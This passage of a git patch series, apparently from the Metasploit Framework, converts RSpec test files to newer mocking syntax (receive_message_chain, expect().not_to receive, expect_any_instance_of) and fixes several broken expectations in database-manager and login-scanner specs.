receive_message_chain('session.sys.process.each_process').and_yield(process) end it 'should return true if successful impersonating' do - subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') + allow(subject).to receive_message_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') expect(subject.impersonate_sql_user(service)).to be true end it 'should return false if fails impersonating' do - subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') + allow(subject).to receive_message_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') expect(subject.impersonate_sql_user(service)).to be false end it 'should return false if unable to find process username' do - subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0) + allow(subject).to receive_message_chain('session.sys.process.each_process').and_yield('pid' => 0) expect(subject.impersonate_sql_user(service)).to be false end end context 'user does not have privs to impersonate' do before(:each) do - subject.stub_chain('session.sys.config.getuid').and_return('Superman') - subject.stub_chain('client.sys.config.getprivs').and_return([]) + allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') + allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return([]) end it 'should return true if successful' do expect(subject).to receive(:print_warning) - subject.stub_chain('session.core.migrate').with(pid).and_return(true) + allow(subject).to receive_message_chain('session.core.migrate').with(pid).and_return(true) expect(subject.impersonate_sql_user(service)).to be true end it 'should rescue an exception if migration fails' do expect(subject).to receive(:print_warning) - subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) + allow(subject).to receive_message_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) expect(subject.impersonate_sql_user(service)).to be false end end @@ -345,14 +345,14 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if able to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) - subject.stub_chain('session.priv.getsystem').and_return([true]) + allow(subject).to receive_message_chain('session.priv.getsystem').and_return([true]) expect(subject.get_system).to be_truthy end it 'should return false if unable to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) - subject.stub_chain('session.priv.getsystem').and_return([false]) + allow(subject).to receive_message_chain('session.priv.getsystem').and_return([false]) expect(subject.get_system).to be_falsey end end @@ -362,7 +362,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do p = double('process') c = double('channel') expect(p).to receive(:channel).and_return(c) - subject.stub_chain('session.sys.process.execute').and_return(p) + allow(subject).to receive_message_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) expect(c).to receive(:close) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 8c7944b2cc..4c544ab5bd 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -38,8 +38,8 @@ RSpec.describe Msf::Post::Windows::Runas do mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] stubs.each { |meth| expect(mod).to receive(meth) } - mod.stub_chain("session.railgun.kernel32").and_return(kernel32) - mod.stub_chain("session.railgun.advapi32").and_return(advapi32) + allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) + allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) mod end From 0eb68ef16cae1ad07e684467c1b1c17407a43a84 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:05:56 -0500 Subject: [PATCH 1497/2172] .should_not_receive -> expect().not_to receive MSP-13484 --- spec/lib/msf/core/exploit/http/server_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 10 +++--- spec/msfupdate_spec.rb | 12 +++---- .../login_scanner/login_scanner_base.rb | 4 +-- .../msf/db_manager/exploit_attempt.rb | 36 +++++++++---------- .../import/metasploit_framework/xml.rb | 2 +- .../examples/msf/db_manager/module_cache.rb | 8 ++--- .../shared/examples/msf/db_manager/session.rb | 6 ++-- .../update_all_module_details_refresh.rb | 2 +- .../examples/msf/module_manager/cache.rb | 6 ++-- 10 files changed, 44 insertions(+), 44 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index b07b5f876a..ae34fc7297 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do describe "#cleanup" do it "should not remove resources if none were successfully added" do - server_module.should_not_receive(:remove_resource) + expect(server_module).not_to receive(:remove_resource) server_module.cleanup end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e6f35d18f4..b3ac70d79f 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -274,7 +274,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not call #read_module_content' do - subject.should_not_receive(:read_module_content) + expect(subject).not_to receive(:read_module_content) subject.load_module(parent_path, type, module_reference_name) end end @@ -371,7 +371,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not attempt to make a new namespace_module' do - subject.should_not_receive(:namespace_module_transaction) + expect(subject).not_to receive(:namespace_module_transaction) expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -1228,7 +1228,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not set the relative_name constant to anything' do - parent_module.should_not_receive(:const_set) + expect(parent_module).not_to receive(:const_set) subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) end @@ -1287,8 +1287,8 @@ RSpec.describe Msf::Modules::Loader::Base do # Allow 'Metasploit::Framework::Spec::Constants cleaner' removal expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original - parent_module.should_not_receive(:remove_const).with(relative_name) - parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) + expect(parent_module).not_to receive(:remove_const).with(relative_name) + expect(parent_module).not_to receive(:const_set).with(relative_name, @current_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index e723c87463..28d15c9624 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -224,11 +224,11 @@ RSpec.describe Msfupdate do subject.run! end it "does not call update_binary_install!" do - subject.should_not_receive(:update_binary_install!) + expect(subject).not_to receive(:update_binary_install!) subject.run! end it "does not call update_git!" do - subject.should_not_receive(:update_git!) + expect(subject).not_to receive(:update_git!) subject.run! end end @@ -273,7 +273,7 @@ RSpec.describe Msfupdate do context "#run!" do it "does not call update_apt!" do - subject.should_not_receive(:update_apt!) + expect(subject).not_to receive(:update_apt!) subject.run! end it "calls update_binary_install!" do @@ -281,7 +281,7 @@ RSpec.describe Msfupdate do subject.run! end it "does not call update_git!" do - subject.should_not_receive(:update_git!) + expect(subject).not_to receive(:update_git!) subject.run! end end @@ -327,11 +327,11 @@ RSpec.describe Msfupdate do context "#run!" do it "does not call update_apt!" do - subject.should_not_receive(:update_apt!) + expect(subject).not_to receive(:update_apt!) subject.run! end it "does not call update_binary_install!" do - subject.should_not_receive(:update_binary_install!) + expect(subject).not_to receive(:update_binary_install!) subject.run! end it "calls update_git!" do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index 66340ed62b..b3a4ee69e0 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -268,7 +268,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | expect(my_scanner).to receive(:valid!) expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success - my_scanner.should_not_receive(:attempt_login) + expect(my_scanner).not_to receive(:attempt_login) my_scanner.scan! end @@ -295,7 +295,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | expect(my_scanner).to receive(:valid!) expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success - my_scanner.should_not_receive(:attempt_login).with(pub_pri) + expect(my_scanner).not_to receive(:attempt_login).with(pub_pri) my_scanner.scan! end end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 63160fc73d..4042cfd67c 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -91,7 +91,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -120,15 +120,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_run_for_vuln) + expect(db_manager).not_to receive(:create_run_for_vuln) end end @@ -172,11 +172,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -203,15 +203,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -311,7 +311,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -340,15 +340,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -392,11 +392,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -423,15 +423,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index d7370192d8..bdb8e7e361 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -327,7 +327,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) + expect(db_manager).not_to receive(:workspace) import_msf_web_element end diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 7bb28dd886..8ca374f63f 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -607,7 +607,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with modules_caching' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -692,7 +692,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with existing Mdm::Module::Detail#file' do context 'with same Mdm::Module::Detail#mtime and File.mtime' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -723,7 +723,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -736,7 +736,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without migrated' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1f607da6d9..c65e9d2599 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -146,7 +146,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + expect(db_manager).not_to receive(:find_workspace) expect { report_session }.to change(Mdm::Vuln, :count).by(1) end @@ -489,7 +489,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + expect(db_manager).not_to receive(:find_workspace) expect { report_session }.to change(Mdm::Vuln, :count).by(1) end @@ -997,7 +997,7 @@ shared_examples_for 'Msf::DBManager::Session' do it { should be_nil } it 'should not create a connection' do - ActiveRecord::Base.connection_pool.should_not_receive(:with_connection) + expect(ActiveRecord::Base.connection_pool).not_to receive(:with_connection) report_session end diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index b8fa61c706..674636998b 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -54,7 +54,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do context 'without cached module in Msf::ModuleSet' do it 'should not call update_module_details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 1b7a3f50c6..ab4a3f83fd 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -271,19 +271,19 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should not call Msf::DBManager#update_module_details' do - framework.db.should_not_receive(:update_module_details) + expect(framework.db).not_to receive(:update_module_details) refresh_cache_from_module_files end it 'should not call Msf::DBManager#update_all_module_details' do - framework.db.should_not_receive(:update_all_module_details) + expect(framework.db).not_to receive(:update_all_module_details) refresh_cache_from_module_files end it 'should not call #refresh_cache_from_database' do - module_manager.should_not_receive(:refresh_cache_from_database) + expect(module_manager).not_to receive(:refresh_cache_from_database) refresh_cache_from_module_files end From cd57ed289fd91115d8794d7c5e120d69c1624be3 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:08:22 -0500 Subject: [PATCH 1498/2172] Fix mistaken substitution MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index d63212bd98..0bf3450f34 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -79,7 +79,8 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = double('Connection', connection: connection) + connection = double('Connection') + allow(connection_pool).to receive(:connection).and_return(connection) expect { |block| connection_pool.with_connection(&block) From d7d484a862ff759a1504121d7f6ef2e6db309f3e Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:10:04 -0500 Subject: [PATCH 1499/2172] Use double to properly expect unimplemented methods MSP-13484 --- spec/lib/metasploit/framework/login_scanner/postgres_spec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index 0724493781..9d66a19804 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -30,9 +30,10 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context '#attempt_login' do context 'when the login is successful' do it 'returns a result object with a status of success' do - fake_conn = "fake_connection" - expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn + fake_conn = double('fake_connection') + expect(fake_conn).to receive(:close) + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end From d1f64363b1bcf9664882a66bd6277691e90c7031 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:13:50 -0500 Subject: [PATCH 1500/2172] .any_instance -> *_any_isntance_of() MSP-13484 --- spec/lib/metasploit/framework/login_scanner/vnc_spec.rb | 6 +++--- spec/lib/msf/core/encoded_payload_spec.rb | 5 +++-- spec/support/shared/examples/msf/module_manager/cache.rb | 2 +- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index ca224b9d62..cfcb5ab234 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -24,14 +24,14 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do end it 'returns a connection_error result when the handshake fails' do - expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return false + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a failed result when authentication fails' do - expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return true - expect(Rex::Proto::RFB::Client.any_instance).to receive(:authenticate).with(private).and_return false + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT end diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index 18f126fda0..827dfd833d 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -62,9 +62,10 @@ RSpec.describe Msf::EncodedPayload do end context 'when passed a valid payload instance' do - # don't ever actually generate payload bytes - before { described_class.any_instance.stub(:generate) } + before(:each) do + allow_any_instance_of(described_class).to receive(:generate) + end it 'returns an Msf::EncodedPayload instance' do expect(encoded_payload).to be_a(described_class) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index ab4a3f83fd..77a76df998 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -174,7 +174,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should force load using #load_module on the loader' do - expect(Msf::Modules::Loader::Directory.any_instance).to receive( + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( :load_module ).with( parent_path, From 337be4355d8359ba20305106c84dfcbeee7fb0be Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:52:30 -0500 Subject: [PATCH 1501/2172] Fix Msf::DBManager spec upgrade problems MSP-13484 --- .../support/shared/contexts/msf/db_manager.rb | 2 +- .../msf/db_manager/exploit_attempt.rb | 4 +- .../import/metasploit_framework/xml.rb | 4 +- .../examples/msf/db_manager/module_cache.rb | 40 +++++++++---------- ..._name_or_mdm_module_target_name_keyword.rb | 4 +- .../mdm_module_ref_name_keyword.rb | 2 +- .../shared/examples/msf/db_manager/session.rb | 15 +++---- 7 files changed, 36 insertions(+), 35 deletions(-) diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 610f382412..4991038b2d 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -12,6 +12,6 @@ RSpec.shared_context 'Msf::DBManager' do before(:each) do # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect framework.db.workspace = framework.db.default_workspace - expect(db_manager).to receive(:active).and_return(active) + allow(db_manager).to receive(:active).and_return(active) end end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 4042cfd67c..bf979b2e7b 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -127,8 +127,8 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do expect(db_manager).not_to receive(:create_match_result) end - it "should not call create_run_for_vuln" do - expect(db_manager).not_to receive(:create_run_for_vuln) + it "should not call create_match_for_vuln" do + expect(db_manager).not_to receive(:create_match_for_vuln) end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index bdb8e7e361..4355db7350 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -245,7 +245,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should return an empty Hash' do - expect(info).to eq {} + expect(info).to eq({}) end end end @@ -390,7 +390,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - expect(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) + allow(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 8ca374f63f..f508abc1ac 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -27,7 +27,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -40,7 +40,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:modules_caching).and_return(modules_caching) + allow(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -97,7 +97,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -169,7 +169,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'passive'" do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -185,7 +185,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'aggressive'" do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -216,7 +216,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#email' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -235,7 +235,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -271,7 +271,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -288,7 +288,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -325,7 +325,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -367,7 +367,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#mtype' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -395,7 +395,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Action#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -417,7 +417,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Arch#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -439,7 +439,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -521,7 +521,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Platform#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -543,7 +543,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -565,7 +565,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Target#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -589,7 +589,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -602,7 +602,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:modules_caching).and_return(modules_caching) + allow(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -805,7 +805,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 588ae2525c..50e31d729e 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Platform#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -38,7 +38,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Target#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 1ac9e8b9f4..0fa8c98e20 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ 